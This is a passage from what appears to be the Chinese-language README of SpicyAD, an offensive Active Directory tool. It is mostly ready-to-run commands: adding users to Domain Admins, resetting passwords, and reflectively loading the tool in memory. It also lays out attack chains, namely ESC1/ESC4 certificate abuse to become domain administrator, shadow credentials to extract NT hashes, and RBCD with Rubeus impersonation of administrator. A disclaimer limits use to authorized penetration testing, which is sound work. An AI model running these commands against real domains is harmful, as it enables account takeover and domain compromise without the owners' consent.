[SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "add-machine", "/name:YOURPC$", "/mac-pass:P@ssw0rd123") ``` #### add-to-group 将用户添加到组中。 **域内执行:** ``` .\SpicyAD.exe add-to-group /member:newuser /group:Domain Admins ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd add-to-group /member:newuser /group:Domain Admins ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("add-to-group", "/member:newuser", "/group:Domain Admins") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "add-to-group", "/member:newuser", "/group:Domain Admins") ``` #### change-password 更改用户密码。 **域内执行:** ``` .\SpicyAD.exe change-password /target:jdoe /old:OldPass123 /new:NewPass456 ``` **非域内执行:** ``` .\SpicyAD.exe /domain:evilcorp.net /dc-ip:10.10.10.10 /user:admin /password:P@ssw0rd change-password /target:jdoe /old:OldPass123 /new:NewPass456 ``` **反射:** ``` [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("change-password", "/target:jdoe", "/old:OldPass123", "/new:NewPass456") # 非域加入 [Reflection.Assembly]::LoadFile("C:\Users\Public\SpicyAD.exe") | Out-Null; [SpicyAD.Program]::Execute("/domain:evilcorp.net", "/dc-ip:10.10.10.10", "/user:admin", "/password:P@ssw0rd", "change-password", "/target:jdoe", "/old:OldPass123", "/new:NewPass456") ``` ## 攻击流程 ### 工作流 0:血猎侦察 ``` bin\Release\net48\SpicyAD.exe ``` ### 工作流 1:ESC1 → 域管理员 ``` # 1. 枚举漏洞模板 .\SpicyAD.exe enum-vulns # 2. 利用 ESC1(自动链式到 PKINIT) .\SpicyAD.exe esc1 /template:ESC1 /target:administrator /sid # 3. 使用 NT 哈希或导入的票据 ``` ### 工作流 2:ESC4 → ESC1 → 域管理员 ``` # 1. 查找 ESC4 漏洞模板 .\SpicyAD.exe esc4 list # 2. 运行完整攻击链(模板会自动恢复) .\SpicyAD.exe esc4 /template:ESC4 /target:administrator /sid ``` ### 工作流 3:影子凭据 → 机器接管 ``` # 1. 添加影子凭证到目标机器 .\SpicyAD.exe shadow-creds add /target:SERVER$ /sid # 2. NT 哈希会自动通过 PKINIT 提取 # 3. 使用哈希进行传递哈希或银票攻击 ``` ### 工作流 4:RBCD 攻击 ``` # 1. 设置 RBCD .\SpicyAD.exe rbcd set /target:SERVER$ /controlled:YOURPC$ # 2. 使用 Rubeus 进行 S4U Rubeus.exe s4u /user:YOURPC$ /rc4: /impersonateuser:administrator /msdsspn:cifs/SERVER.evilcorp.net /ptt # 3. 访问目标 dir \\SERVER\C$ # 4. 清理 .\SpicyAD.exe rbcd clear /target:SERVER$ /force ``` ## 参考资料 | 工具 | 作者 | 描述 | |------|------|------| | [Rubeus](https://github.com/GhostPack/Rubeus) | @harmj0y | Kerberos 滥用工具包 | | [Certify](https://github.com/GhostPack/Certify) | @harmj0y | AD CS 枚举与滥用 | | [Whisker](https://github.com/eladshamir/Whisker) | @elaboratehub | 影子凭据攻击 | | [Certipy](https://github.com/ly4k/Certipy) | @ly4k | AD CS 漏洞利用(Python) | | [SharpHound](https://github.com/BloodHoundAD/SharpHound) | BloodHound 团队 | BloodHound 数据收集器 | ### 研究 | 资源 | 作者 | 描述 | |------|------|------| | [Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) | SpecterOps | AD CS 漏洞白皮书 | | [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) | Elad Shamir | 影子凭据研究 | | [The Hacker Recipes](https://www.thehacker.recipes/) | @_nwodtuhs | AD 攻击文档 | ## 法律声明 本工具仅供授权渗透测试和安全研究使用。未经授权访问计算机系统是非法的。使用本工具前请务必获得明确授权。 ## 致谢 YOU,那些我学习了很多知识的真正信息安全专家们。(Elad samir、HarmJ0y、Charlie Bromberg ...) ## 许可证 仅供教育和授权安全测试使用。 ## 待办事项 - 委托攻击 - SCCM 枚举 - 更多 ADCS - 更好的共享枚举...
标签:Active Directory, AD攻击, Checkov, Conpot, CTF学习, HTTP, Plaso, T1003 凭据转储, T1005 收集数据, T1057 进程发现, T1078 有效账户, T1082 系统信息发现, T1083 文件和目录发现, Windows安全, 交互界面, 内网渗透, 协议分析, 反取证, 命令行界面, 域渗透, 安全评估, 授权测试, 权限提升, 横向移动, 电子数据取证, 目录服务, 编程规范